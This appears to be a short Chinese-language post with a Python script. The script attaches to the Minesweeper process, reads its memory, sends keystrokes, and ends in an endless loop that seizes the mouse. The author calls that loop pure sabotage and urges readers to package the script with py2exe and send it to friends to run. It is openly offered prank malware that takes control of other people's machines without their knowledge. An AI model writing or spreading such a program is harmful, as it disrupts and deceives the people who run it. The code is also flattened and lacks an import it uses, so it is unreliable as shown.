1.安装pywin32
2.
import win32process import win32con import win32gui import ctypes shalei = u"扫雷" h = win32gui.FindWindow(0, u"扫雷") assert h!=0 hid,pid = win32process.GetWindowThreadProcessId(h) print (pid) while 0: win32api.SendMessage(h,win32con.WM_COMMAND,0x20A,0) win32api.SendMessage(h,win32con.WM_COMMAND,0x209,0) PROCESS_ALL_ACCESS = (0x000F0000 | 0x00100000 | 0xFFF) phand = win32api.OpenProcess(PROCESS_ALL_ACCESS,False,pid) date = ctypes.c_long() chars = (ctypes.c_char_p) mydll = ctypes.windll.LoadLibrary("C:\Windows\System32\kernel32.dll") mydll.ReadProcessMemory(int(phand),0x1005194,ctypes.byref(date),4,None) #ToDo #mydll.ReadProcessMemory(int(phand),0x1005361,ctypes.byref(chars),32*24,None) print (date.value) win32gui.SetForegroundWindow(h) win32api.keybd_event(18,0,0,0) # Alt win32api.keybd_event(71,0,0,0) # F win32api.keybd_event(71,0,win32con.KEYEVENTF_KEYUP,0) #释放按键 win32api.keybd_event(18,0,win32con.KEYEVENTF_KEYUP,0) while 1: win32api.SetCursorPos([20,62]) #为鼠标焦点设定一个位置 win32api.mouse_event(win32con.MOUSEEVENTF_LEFTDOWN, h, h, 0, 0) win32api.mouse_event(win32con.MOUSEEVENTF_LEFTUP, h, 0, 0, 0)
3最后的鼠标事件可以让你崩溃 纯属搞破坏 一旦运行 鼠标就基本不受你控制了
4用py2exe打包 发给你的小伙伴运行吧 ^_^
